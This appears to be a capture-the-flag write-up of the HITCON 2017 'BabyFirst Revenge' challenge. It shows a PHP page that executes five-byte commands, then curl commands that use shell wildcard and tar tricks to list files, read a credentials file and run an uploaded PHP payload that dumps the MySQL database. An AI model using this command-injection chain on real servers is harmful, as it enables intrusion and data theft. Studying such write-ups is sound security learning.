The HITCON 2017 CTF “BabyFirst Revenge” challenge:
On the specified webserver this PHP script was running:
<?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);
Basically what it does is to execute whatever is passed in the cmd
parameter if it is no longer than 5 bytes. The output of the command is not displayed.
After some time we figured out that the sandbox folder is also reachable via HTTP, e.g.: http://52.199.204.34/sandbox/727479ef7cedf30c03459bec7d87b0f0/. So we could at least run things like ls>x
and fetch the result.
Out next idea was to use shell wildcards to run longer commands. We wanted a list of all files on the system first. We’ve created a empty file named find
and then used wildcards to run it:
curl 'http://52.199.204.34/?cmd=>find' curl 'http://52.199.204.34/?cmd=*%20/>x'
The second curl executes * />x
which will effectively expand to find />x
. We got the file x from the server and saw that this file exists and is readable by our current user:
/home/fl4444g/README.txt
We need to get that file. We’ve used tar to get it by requesting:
curl 'http://52.199.204.34/?cmd=>tar' curl 'http://52.199.204.34/?cmd=>zcf' curl 'http://52.199.204.34/?cmd=>zzz' curl 'http://52.199.204.34/?cmd=*%20/h*'
This creates the files tar
, zcf
and zzz
. Then running * /h*
. This expands then to:
tar zcf zzz /h*
Downloading the file “zzz” we find in the README.txt:
Flag is in the MySQL database fl4444g / SugZXUtgeJ52_Bvr
Running mysqldump with that username and password will be impossible with only wildcards. Instead we figured out that if we POST content to that URL it will be stored in a file in /tmp for the duration of that request. With that we can upload arbitrary commands but not yet execute them. Any form of sh /tmp/*
is too long for the 5 bytes limit.
Tar to the rescue again:
cat << EOF >> exploit.php <?php exec('mysqldump --single-transaction -ufl4444g -pSugZXUtgeJ52_Bvr --all-databases > /var/www/html/sandbox/727479ef7cedf30c03459bec7d87b0f0/dump.sql 2>&1'); ?> EOF curl 'http://52.199.204.34/?reset=1' curl 'http://52.199.204.34/?cmd=>tar' curl 'http://52.199.204.34/?cmd=>vcf' curl 'http://52.199.204.34/?cmd=>z' curl -F file=@exploit.php -X POST 'http://52.199.204.34/?cmd=%2A%20%2Ft%2A' curl 'http://52.199.204.34/?cmd=php%20z'
What it does is prepare a local file “exploit.php” which contains PHP code to run mysqldump and write the output to our sandbox folder. The --single-transaction
parameter is important, without it the mysqldump will not complete due to missing permissions.
We then create the files tar
, vcf
and z
on the server.
Then run * /t*
which expands to:
tar vcf z /t*
This creates an uncompressed file “z” with all the contents of /tmp including our exploit which we POST’ed with that same request. After that with php z
this tar file is executed. PHP will happily skip over all the binary parts and execute the PHP payload.
With that the “dump.sql” file is created, downloaded and it finally contained:
(...) LOCK TABLES `this_is_the_fl4g` WRITE; /*!40000 ALTER TABLE `this_is_the_fl4g` DISABLE KEYS */; INSERT INTO `this_is_the_fl4g` VALUES ('hitcon{idea_from_phith0n,thank_you:)}'); /*!40000 ALTER TABLE `this_is_the_fl4g` ENABLE KEYS */; UNLOCK TABLES; (...)
The flag is: hitcon{idea_from_phith0n,thank_you:)}
Wow `tar vcf zzz` in lexicographical order is so smart!
We have a hard time creating `wget xxxxx.com` 🙁
Great idea !